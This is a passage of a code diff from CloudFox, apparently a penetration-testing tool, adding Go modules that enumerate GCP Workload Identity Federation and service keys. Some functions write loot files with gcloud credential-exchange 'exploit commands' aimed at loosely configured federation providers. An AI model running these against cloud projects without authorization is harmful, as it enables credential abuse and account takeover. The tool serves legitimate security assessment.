logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_IAP_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,621 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
workloadidentityservice "github.com/BishopFox/cloudfox/gcp/services/workloadIdentityService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPIdentityFederationCommand = &cobra.Command{
|
||||
Use: globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
Aliases: []string{"federation", "wif", "federated-identity"},
|
||||
Short: "Enumerate Workload Identity Federation (external identities)",
|
||||
Long: `Enumerate Workload Identity Federation pools, providers, and federated bindings.
|
||||
|
||||
Workload Identity Federation allows external identities (AWS, GitHub Actions,
|
||||
GitLab CI, Azure AD, etc.) to authenticate as GCP service accounts without
|
||||
using service account keys.
|
||||
|
||||
Features:
|
||||
- Lists Workload Identity Pools and Providers
|
||||
- Analyzes AWS, OIDC (GitHub Actions, GitLab CI), and SAML providers
|
||||
- Identifies risky provider configurations (missing attribute conditions)
|
||||
- Shows federated identity bindings to GCP service accounts
|
||||
- Generates exploitation commands for pentesting
|
||||
|
||||
Security Considerations:
|
||||
- Providers without attribute conditions allow ANY identity from the source
|
||||
- OIDC providers (GitHub Actions, GitLab) may allow any repo/pipeline to authenticate
|
||||
- AWS providers allow cross-account access from the configured AWS account
|
||||
- Federated identities inherit all permissions of the bound GCP service account
|
||||
|
||||
TIP: Run 'workload-identity' to enumerate GKE-specific K8s SA -> GCP SA bindings.
|
||||
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
|
||||
Run: runGCPIdentityFederationCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type IdentityFederationModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectPools map[string][]workloadidentityservice.WorkloadIdentityPool // projectID -> pools
|
||||
ProjectProviders map[string][]workloadidentityservice.WorkloadIdentityProvider // projectID -> providers
|
||||
ProjectFederatedBindings map[string][]workloadidentityservice.FederatedIdentityBinding // projectID -> federated bindings
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type IdentityFederationOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o IdentityFederationOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o IdentityFederationOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPIdentityFederationCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &IdentityFederationModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectPools: make(map[string][]workloadidentityservice.WorkloadIdentityPool),
|
||||
ProjectProviders: make(map[string][]workloadidentityservice.WorkloadIdentityProvider),
|
||||
ProjectFederatedBindings: make(map[string][]workloadidentityservice.FederatedIdentityBinding),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper cache for attack path analysis", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME, m.processProject)
|
||||
|
||||
allPools := m.getAllPools()
|
||||
allProviders := m.getAllProviders()
|
||||
allFederatedBindings := m.getAllFederatedBindings()
|
||||
|
||||
if len(allPools) == 0 {
|
||||
logger.InfoM("No Workload Identity Federation configurations found", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s)",
|
||||
len(allPools), len(allProviders), len(allFederatedBindings)), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllPools returns all pools from all projects
|
||||
func (m *IdentityFederationModule) getAllPools() []workloadidentityservice.WorkloadIdentityPool {
|
||||
var all []workloadidentityservice.WorkloadIdentityPool
|
||||
for _, pools := range m.ProjectPools {
|
||||
all = append(all, pools...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllProviders returns all providers from all projects
|
||||
func (m *IdentityFederationModule) getAllProviders() []workloadidentityservice.WorkloadIdentityProvider {
|
||||
var all []workloadidentityservice.WorkloadIdentityProvider
|
||||
for _, providers := range m.ProjectProviders {
|
||||
all = append(all, providers...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllFederatedBindings returns all federated bindings from all projects
|
||||
func (m *IdentityFederationModule) getAllFederatedBindings() []workloadidentityservice.FederatedIdentityBinding {
|
||||
var all []workloadidentityservice.FederatedIdentityBinding
|
||||
for _, bindings := range m.ProjectFederatedBindings {
|
||||
all = append(all, bindings...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Identity Federation in project: %s", projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
wiSvc := workloadidentityservice.New()
|
||||
|
||||
// Get Workload Identity Pools
|
||||
allPools, err := wiSvc.ListWorkloadIdentityPools(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list Workload Identity Pools in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Filter out GKE Workload Identity pools (*.svc.id.goog) - those belong to the workload-identity module
|
||||
var pools []workloadidentityservice.WorkloadIdentityPool
|
||||
for _, pool := range allPools {
|
||||
if !strings.HasSuffix(pool.PoolID, ".svc.id.goog") {
|
||||
pools = append(pools, pool)
|
||||
}
|
||||
}
|
||||
|
||||
var providers []workloadidentityservice.WorkloadIdentityProvider
|
||||
|
||||
// Get providers for each pool
|
||||
for _, pool := range pools {
|
||||
poolProviders, err := wiSvc.ListWorkloadIdentityProviders(projectID, pool.PoolID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list providers for pool %s", pool.PoolID))
|
||||
continue
|
||||
}
|
||||
providers = append(providers, poolProviders...)
|
||||
}
|
||||
|
||||
// Find federated identity bindings
|
||||
fedBindings, err := wiSvc.FindFederatedIdentityBindings(projectID, pools)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not find federated identity bindings in project %s", projectID))
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectPools[projectID] = pools
|
||||
m.ProjectProviders[projectID] = providers
|
||||
m.ProjectFederatedBindings[projectID] = fedBindings
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["identity-federation-commands"] = &internal.LootFile{
|
||||
Name: "identity-federation-commands",
|
||||
Contents: "# Identity Federation Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, pool := range pools {
|
||||
m.addPoolToLoot(projectID, pool)
|
||||
}
|
||||
for _, provider := range providers {
|
||||
m.addProviderToLoot(projectID, provider)
|
||||
}
|
||||
for _, fedBinding := range fedBindings {
|
||||
m.addFederatedBindingToLoot(projectID, fedBinding)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s) in project %s",
|
||||
len(pools), len(providers), len(fedBindings), projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) addPoolToLoot(projectID string, pool workloadidentityservice.WorkloadIdentityPool) {
|
||||
lootFile := m.LootMap[projectID]["identity-federation-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
status := "Active"
|
||||
if pool.Disabled {
|
||||
status = "Disabled"
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# FEDERATION POOL: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Display Name: %s\n"+
|
||||
"# State: %s (%s)\n"+
|
||||
"# Description: %s\n\n"+
|
||||
"# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe pool:\n"+
|
||||
"gcloud iam workload-identity-pools describe %s --location=global --project=%s\n\n"+
|
||||
"# List providers:\n"+
|
||||
"gcloud iam workload-identity-pools providers list --workload-identity-pool=%s --location=global --project=%s\n\n",
|
||||
pool.PoolID,
|
||||
pool.DisplayName,
|
||||
pool.State, status,
|
||||
pool.Description,
|
||||
pool.PoolID, pool.ProjectID,
|
||||
pool.PoolID, pool.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) addProviderToLoot(projectID string, provider workloadidentityservice.WorkloadIdentityProvider) {
|
||||
lootFile := m.LootMap[projectID]["identity-federation-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# PROVIDER: %s/%s (%s)\n"+
|
||||
"# -----------------------------------------------------------------------------\n",
|
||||
provider.PoolID, provider.ProviderID,
|
||||
provider.ProviderType,
|
||||
)
|
||||
|
||||
if provider.ProviderType == "AWS" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# AWS Account: %s\n", provider.AWSAccountID)
|
||||
} else if provider.ProviderType == "OIDC" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# OIDC Issuer: %s\n", provider.OIDCIssuerURI)
|
||||
}
|
||||
|
||||
if provider.AttributeCondition != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Attribute Condition: %s\n", provider.AttributeCondition)
|
||||
} else {
|
||||
lootFile.Contents += "# Attribute Condition: NONE (any identity from this provider can authenticate!)\n"
|
||||
}
|
||||
|
||||
lootFile.Contents += "\n# === ENUMERATION COMMANDS ===\n\n"
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe provider:\n"+
|
||||
"gcloud iam workload-identity-pools providers describe %s --workload-identity-pool=%s --location=global --project=%s\n\n",
|
||||
provider.ProviderID, provider.PoolID, provider.ProjectID,
|
||||
)
|
||||
|
||||
// Add exploitation guidance based on provider type
|
||||
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
|
||||
switch provider.ProviderType {
|
||||
case "AWS":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# From AWS account %s, exchange credentials:\n"+
|
||||
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
|
||||
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
|
||||
"# --aws --output-file=gcp-creds.json\n\n",
|
||||
provider.AWSAccountID,
|
||||
provider.ProjectID, provider.PoolID, provider.ProviderID,
|
||||
)
|
||||
case "OIDC":
|
||||
if strings.Contains(provider.OIDCIssuerURI, "github") {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# From GitHub Actions workflow, add:\n"+
|
||||
"# permissions:\n"+
|
||||
"# id-token: write\n"+
|
||||
"# contents: read\n"+
|
||||
"# Then use:\n"+
|
||||
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
|
||||
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
|
||||
"# [email protected] \\\n"+
|
||||
"# --output-file=gcp-creds.json\n\n",
|
||||
provider.ProjectID, provider.PoolID, provider.ProviderID,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) addFederatedBindingToLoot(projectID string, binding workloadidentityservice.FederatedIdentityBinding) {
|
||||
lootFile := m.LootMap[projectID]["identity-federation-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# FEDERATED BINDING\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Pool: %s\n"+
|
||||
"# GCP Service Account: %s\n"+
|
||||
"# External Subject: %s\n\n",
|
||||
binding.PoolID,
|
||||
binding.GCPServiceAccount,
|
||||
binding.ExternalSubject,
|
||||
)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectPools {
|
||||
tables := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = IdentityFederationOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allPools := m.getAllPools()
|
||||
allProviders := m.getAllProviders()
|
||||
allFederatedBindings := m.getAllFederatedBindings()
|
||||
|
||||
tables := m.buildTables(allPools, allProviders, allFederatedBindings)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := IdentityFederationOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// buildTablesForProject builds tables for a specific project
|
||||
func (m *IdentityFederationModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
pools := m.ProjectPools[projectID]
|
||||
providers := m.ProjectProviders[projectID]
|
||||
federatedBindings := m.ProjectFederatedBindings[projectID]
|
||||
return m.buildTables(pools, providers, federatedBindings)
|
||||
}
|
||||
|
||||
// buildTables builds all tables from the given data
|
||||
func (m *IdentityFederationModule) buildTables(
|
||||
pools []workloadidentityservice.WorkloadIdentityPool,
|
||||
providers []workloadidentityservice.WorkloadIdentityProvider,
|
||||
federatedBindings []workloadidentityservice.FederatedIdentityBinding,
|
||||
) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
|
||||
// Pools table
|
||||
if len(pools) > 0 {
|
||||
poolsHeader := []string{
|
||||
"Project",
|
||||
"Pool ID",
|
||||
"Display Name",
|
||||
"State",
|
||||
"Disabled",
|
||||
}
|
||||
|
||||
var poolsBody [][]string
|
||||
for _, pool := range pools {
|
||||
disabled := "No"
|
||||
if pool.Disabled {
|
||||
disabled = "Yes"
|
||||
}
|
||||
poolsBody = append(poolsBody, []string{
|
||||
m.GetProjectName(pool.ProjectID),
|
||||
pool.PoolID,
|
||||
pool.DisplayName,
|
||||
pool.State,
|
||||
disabled,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "identity-federation-pools",
|
||||
Header: poolsHeader,
|
||||
Body: poolsBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Providers table
|
||||
if len(providers) > 0 {
|
||||
providersHeader := []string{
|
||||
"Project",
|
||||
"Pool",
|
||||
"Provider",
|
||||
"Type",
|
||||
"OIDC Issuer / AWS Account",
|
||||
"Trust Scope",
|
||||
"Access Condition",
|
||||
}
|
||||
|
||||
var providersBody [][]string
|
||||
for _, p := range providers {
|
||||
issuerOrAccount := "-"
|
||||
if p.ProviderType == "AWS" {
|
||||
issuerOrAccount = p.AWSAccountID
|
||||
} else if p.ProviderType == "OIDC" {
|
||||
issuerOrAccount = p.OIDCIssuerURI
|
||||
}
|
||||
|
||||
attrCond := "NONE"
|
||||
if p.AttributeCondition != "" {
|
||||
attrCond = p.AttributeCondition
|
||||
}
|
||||
|
||||
trustScope := analyzeTrustScope(p)
|
||||
|
||||
providersBody = append(providersBody, []string{
|
||||
m.GetProjectName(p.ProjectID),
|
||||
p.PoolID,
|
||||
p.ProviderID,
|
||||
p.ProviderType,
|
||||
issuerOrAccount,
|
||||
trustScope,
|
||||
attrCond,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "identity-federation-providers",
|
||||
Header: providersHeader,
|
||||
Body: providersBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Federated bindings table
|
||||
if len(federatedBindings) > 0 {
|
||||
fedBindingsHeader := []string{
|
||||
"Project",
|
||||
"Pool",
|
||||
"GCP Service Account",
|
||||
"External Identity",
|
||||
"SA Attack Paths",
|
||||
}
|
||||
|
||||
var fedBindingsBody [][]string
|
||||
for _, fb := range federatedBindings {
|
||||
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, fb.GCPServiceAccount)
|
||||
|
||||
fedBindingsBody = append(fedBindingsBody, []string{
|
||||
m.GetProjectName(fb.ProjectID),
|
||||
fb.PoolID,
|
||||
fb.GCPServiceAccount,
|
||||
fb.ExternalSubject,
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "identity-federation-bindings",
|
||||
Header: fedBindingsHeader,
|
||||
Body: fedBindingsBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
// analyzeTrustScope examines a provider's configuration and returns a human-readable
|
||||
// summary of how broad the trust is. Flags overly permissive configurations.
|
||||
func analyzeTrustScope(p workloadidentityservice.WorkloadIdentityProvider) string {
|
||||
// No attribute condition = any identity from this provider
|
||||
if p.AttributeCondition == "" {
|
||||
switch p.ProviderType {
|
||||
case "AWS":
|
||||
return "BROAD: Any role in AWS account " + p.AWSAccountID
|
||||
case "OIDC":
|
||||
return "BROAD: Any identity from issuer"
|
||||
case "SAML":
|
||||
return "BROAD: Any SAML assertion"
|
||||
default:
|
||||
return "BROAD: No condition set"
|
||||
}
|
||||
}
|
||||
|
||||
cond := p.AttributeCondition
|
||||
var issues []string
|
||||
|
||||
// Check for wildcard patterns in the condition
|
||||
if strings.Contains(cond, `"*"`) || strings.Contains(cond, `'*'`) {
|
||||
issues = append(issues, "wildcard (*) in condition")
|
||||
}
|
||||
|
||||
// GitHub Actions specific analysis
|
||||
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "github") {
|
||||
// Check if repo is scoped
|
||||
if !strings.Contains(cond, "repository") && !strings.Contains(cond, "repo") {
|
||||
issues = append(issues, "no repo restriction")
|
||||
}
|
||||
|
||||
// Check if branch/ref is scoped
|
||||
if strings.Contains(cond, "repository") || strings.Contains(cond, "repo") {
|
||||
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
|
||||
issues = append(issues, "no branch restriction")
|
||||
}
|
||||
}
|
||||
|
||||
// Check for org-wide trust (repo starts with org/)
|
||||
if strings.Contains(cond, ".startsWith(") {
|
||||
issues = append(issues, "prefix match (org-wide?)")
|
||||
}
|
||||
}
|
||||
|
||||
// GitLab CI specific analysis
|
||||
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "gitlab") {
|
||||
if !strings.Contains(cond, "project_path") && !strings.Contains(cond, "namespace_path") {
|
||||
issues = append(issues, "no project restriction")
|
||||
}
|
||||
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
|
||||
issues = append(issues, "no branch restriction")
|
||||
}
|
||||
}
|
||||
|
||||
// AWS specific analysis
|
||||
if p.ProviderType == "AWS" {
|
||||
if !strings.Contains(cond, "arn") && !strings.Contains(cond, "account") {
|
||||
issues = append(issues, "no role/account restriction")
|
||||
}
|
||||
}
|
||||
|
||||
if len(issues) > 0 {
|
||||
return "BROAD: " + strings.Join(issues, ", ")
|
||||
}
|
||||
|
||||
return "Scoped"
|
||||
}
|
||||
+960
-92
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
Executable
+574
@@ -0,0 +1,574 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
apikeysservice "github.com/BishopFox/cloudfox/gcp/services/apikeysService"
|
||||
hmacservice "github.com/BishopFox/cloudfox/gcp/services/hmacService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPKeysCommand = &cobra.Command{
|
||||
Use: globals.GCP_KEYS_MODULE_NAME,
|
||||
Aliases: []string{"credentials", "creds", "access-keys"},
|
||||
Short: "Enumerate all GCP keys (SA keys, HMAC keys, API keys)",
|
||||
Long: `Enumerate all types of GCP keys and credentials.
|
||||
|
||||
Key Types:
|
||||
- SA Keys: Service account RSA keys for OAuth 2.0 authentication
|
||||
- HMAC Keys: S3-compatible access keys for Cloud Storage
|
||||
- API Keys: Project-level keys for API access (Maps, Translation, etc.)
|
||||
|
||||
Features:
|
||||
- Unified view of all credential types
|
||||
- Shows key age and expiration status
|
||||
- Identifies Google-managed vs user-managed keys
|
||||
- Generates exploitation commands for penetration testing`,
|
||||
Run: runGCPKeysCommand,
|
||||
}
|
||||
|
||||
// UnifiedKeyInfo represents a key from any source
|
||||
type UnifiedKeyInfo struct {
|
||||
ProjectID string
|
||||
KeyType string // "SA Key", "HMAC", "API Key"
|
||||
KeyID string
|
||||
Owner string // Email for SA/HMAC, "Project-level" for API keys
|
||||
DisplayName string
|
||||
Origin string // "Google Managed", "User Managed", "Service Account", "User", "-"
|
||||
Algorithm string // Key algorithm (e.g., "KEY_ALG_RSA_2048")
|
||||
State string // "ACTIVE", "INACTIVE", "DELETED", "DISABLED"
|
||||
CreateTime time.Time
|
||||
ExpireTime time.Time
|
||||
Expired bool
|
||||
DWDEnabled bool // For SA keys - whether the SA has Domain-Wide Delegation enabled
|
||||
Restrictions string // For API keys only
|
||||
KeyString string // For API keys only (if accessible)
|
||||
}
|
||||
|
||||
type KeysModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectKeys map[string][]UnifiedKeyInfo // projectID -> keys
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type KeysOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o KeysOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o KeysOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPKeysCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_KEYS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &KeysModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectKeys: make(map[string][]UnifiedKeyInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *KeysModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_KEYS_MODULE_NAME, m.processProject)
|
||||
|
||||
allKeys := m.getAllKeys()
|
||||
if len(allKeys) == 0 {
|
||||
logger.InfoM("No keys found", globals.GCP_KEYS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by type
|
||||
saKeyCount := 0
|
||||
hmacKeyCount := 0
|
||||
apiKeyCount := 0
|
||||
userManagedCount := 0
|
||||
|
||||
for _, key := range allKeys {
|
||||
switch key.KeyType {
|
||||
case "SA Key":
|
||||
saKeyCount++
|
||||
if key.Origin == "User Managed" {
|
||||
userManagedCount++
|
||||
}
|
||||
case "HMAC":
|
||||
hmacKeyCount++
|
||||
case "API Key":
|
||||
apiKeyCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d key(s) (%d SA keys [%d user-managed], %d HMAC keys, %d API keys)",
|
||||
len(allKeys), saKeyCount, userManagedCount, hmacKeyCount, apiKeyCount), globals.GCP_KEYS_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllKeys returns all keys from all projects
|
||||
func (m *KeysModule) getAllKeys() []UnifiedKeyInfo {
|
||||
var all []UnifiedKeyInfo
|
||||
for _, keys := range m.ProjectKeys {
|
||||
all = append(all, keys...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *KeysModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating keys in project: %s", projectID), globals.GCP_KEYS_MODULE_NAME)
|
||||
}
|
||||
|
||||
var projectKeys []UnifiedKeyInfo
|
||||
|
||||
// 1. Enumerate Service Account Keys
|
||||
iamService := IAMService.New()
|
||||
serviceAccounts, err := iamService.ServiceAccounts(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_KEYS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate service accounts in project %s", projectID))
|
||||
} else {
|
||||
for _, sa := range serviceAccounts {
|
||||
// Check if DWD is enabled (OAuth2ClientID is set)
|
||||
dwdEnabled := sa.OAuth2ClientID != ""
|
||||
|
||||
for _, key := range sa.Keys {
|
||||
// Extract key ID from full name
|
||||
keyID := key.Name
|
||||
if parts := strings.Split(key.Name, "/"); len(parts) > 0 {
